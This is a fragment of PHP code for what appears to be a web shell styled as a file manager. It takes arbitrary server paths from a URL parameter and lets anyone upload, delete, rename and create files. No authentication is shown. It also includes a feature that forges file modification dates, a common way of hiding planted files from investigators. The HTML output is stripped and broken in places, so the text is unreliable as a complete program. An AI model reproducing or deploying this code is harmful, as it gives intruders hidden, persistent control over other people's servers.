"; ?>
Swal.fire({ icon: '{$notification['type']}', title: '{$notification['title']}', text: '{$notification['text']}' }); "; unset($_SESSION['notification']); // Remove notification after displaying } // Function to format file size function formatSize($bytes) { $units = ['B', 'KB', 'MB', 'GB']; for ($i = 0; $i < count($units) && $bytes >= 1024; $i++) { $bytes /= 1024; } return round($bytes, 2) . ' ' . $units[$i]; } // Handle upload action if (isset($_POST['upload'])) { $current_dir = isset($_GET['j']) ? $_GET['j'] : getcwd(); $current_dir = rtrim(realpath($current_dir), '/') . '/'; if (!is_writable($current_dir)) { $_SESSION['notification'] = ['type' => 'error', 'title' => 'Upload Failed!', 'text' => 'Directory is not writable.']; header("Location: ?j=" . htmlspecialchars($current_dir)); exit; } $target_file = $current_dir . basename($_FILES['fileToUpload']['name']); if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $target_file)) { $_SESSION['notification'] = ['type' => 'success', 'title' => 'Upload Successful!', 'text' => "File successfully uploaded to: $target_file"]; } else { $_SESSION['notification'] = ['type' => 'error', 'title' => 'Upload Failed!', 'text' => 'File upload failed.']; } header("Location: ?j=" . htmlspecialchars($current_dir)); exit; } // Handle delete action if (isset($_GET['delete'])) { $file_to_delete = $_GET['delete']; if (is_dir($file_to_delete)) { $success = rmdir($file_to_delete); // Delete folder } else { $success = unlink($file_to_delete); // Delete file } if ($success) { $_SESSION['notification'] = ['type' => 'success', 'title' => 'Delete Successful!', 'text' => 'Item successfully deleted.']; } else { $_SESSION['notification'] = ['type' => 'error', 'title' => 'Delete Failed!', 'text' => 'Failed to delete item.']; } header("Location: ?j=" . htmlspecialchars(dirname($file_to_delete))); exit; } // Handle rename action if (isset($_POST['rename'])) { $old_name = $_POST['old_name']; $new_name = $_POST['new_name']; if (file_exists($old_name)) { if (rename($old_name, dirname($old_name) . '/' . $new_name)) { $_SESSION['notification'] = ['type' => 'success', 'title' => 'Rename Successful!', 'text' => 'File or folder name successfully changed.']; } else { $_SESSION['notification'] = ['type' => 'error', 'title' => 'Rename Failed!', 'text' => 'Failed to change file or folder name.']; } } else { $_SESSION['notification'] = ['type' => 'error', 'title' => 'File Not Found!', 'text' => 'File or folder not found.']; } header("Location: ?j=" . htmlspecialchars(dirname($old_name))); exit; } if (isset($_POST['change_date'])) { $file_to_touch = $_POST['touch_file']; $new_date = $_POST['new_date']; // Validate date format $timestamp = strtotime($new_date); if ($timestamp === false) { $_SESSION['notification'] = [ 'type' => 'error', 'title' => 'Invalid Date!', 'text' => 'Please enter a valid date format (YYYY-MM-DD HH:MM:SS).' ]; } elseif (!file_exists($file_to_touch)) { $_SESSION['notification'] = [ 'type' => 'error', 'title' => 'Path Not Found!', 'text' => 'The file or folder does not exist.' ]; } else { // Change last modification date if (touch($file_to_touch, $timestamp)) { $_SESSION['notification'] = [ 'type' => 'success', 'title' => 'Date Changed!', 'text' => 'Last modification date has been updated for ' . (is_dir($file_to_touch) ? 'folder' : 'file') . '.' ]; } else { $_SESSION['notification'] = [ 'type' => 'error', 'title' => 'Change Failed!', 'text' => 'Failed to update last modification date for ' . (is_dir($file_to_touch) ? 'folder' : 'file') . '.' ]; } } header("Location: ?j=" . htmlspecialchars(dirname($file_to_touch))); exit; } // Handle new file creation if (isset($_POST['create_file'])) { $file_name = $_GET['j'] . '/' . $_POST['new_file']; if (file_put_contents($file_name, '') !== false) { $_SESSION['notification'] = ['type' => 'success', 'title' => 'New File Successful!', 'text' => 'New file successfully created.']; } else { $_SESSION['notification'] = ['type' => 'error', 'title' => 'New File Failed!', 'text' => 'Failed to create new file.']; } header("Location: ?j=" . htmlspecialchars($_GET['j'])); exit; } // Handle new folder creation if (isset($_POST['create_folder'])) { $folder_name = $_GET['j'] . '/' . $_POST['new_folder']; if (mkdir($folder_name)) { $_SESSION['notification'] = ['type' => 'success', 'title' => 'New Folder Successful!', 'text' => 'New folder successfully created.']; } else { $_SESSION['notification'] = ['type' => 'error', 'title' => 'New Folder Failed!', 'text' => 'Failed to create new folder.']; } header("Location: ?j=" . htmlspecialchars($_GET['j'])); exit; } // Show SweetAlert if there's a notification if (isset($_SESSION['notification'])) { $notification = $_SESSION['notification']; echo ""; unset($_SESSION['notification']); // Remove notification after displaying } // Determine directory $j = isset($_GET['j']) ? $_GET['j'] : getcwd(); $j = str_replace('\\', '/', $j); $paths = explode('/', $j); // Path navigation echo ''; // Separate action forms echo '| Directory/File | Size | Last Modification | Permissions | Action |
|---|---|---|---|---|
| ' . htmlspecialchars($file) . ' | '; echo '- | '; // Size for folder is "-" echo '' . $last_modification . ' | '; echo '' . substr(sprintf('%o', fileperms($full_path)), -4) . ' | '; echo ''; echo ' |
| ' . $icon . '' . htmlspecialchars($file) . ' | '; echo '' . $size . ' | '; echo '' . $last_modification . ' | '; echo '' . $permissions . ' | '; echo ''; echo ' |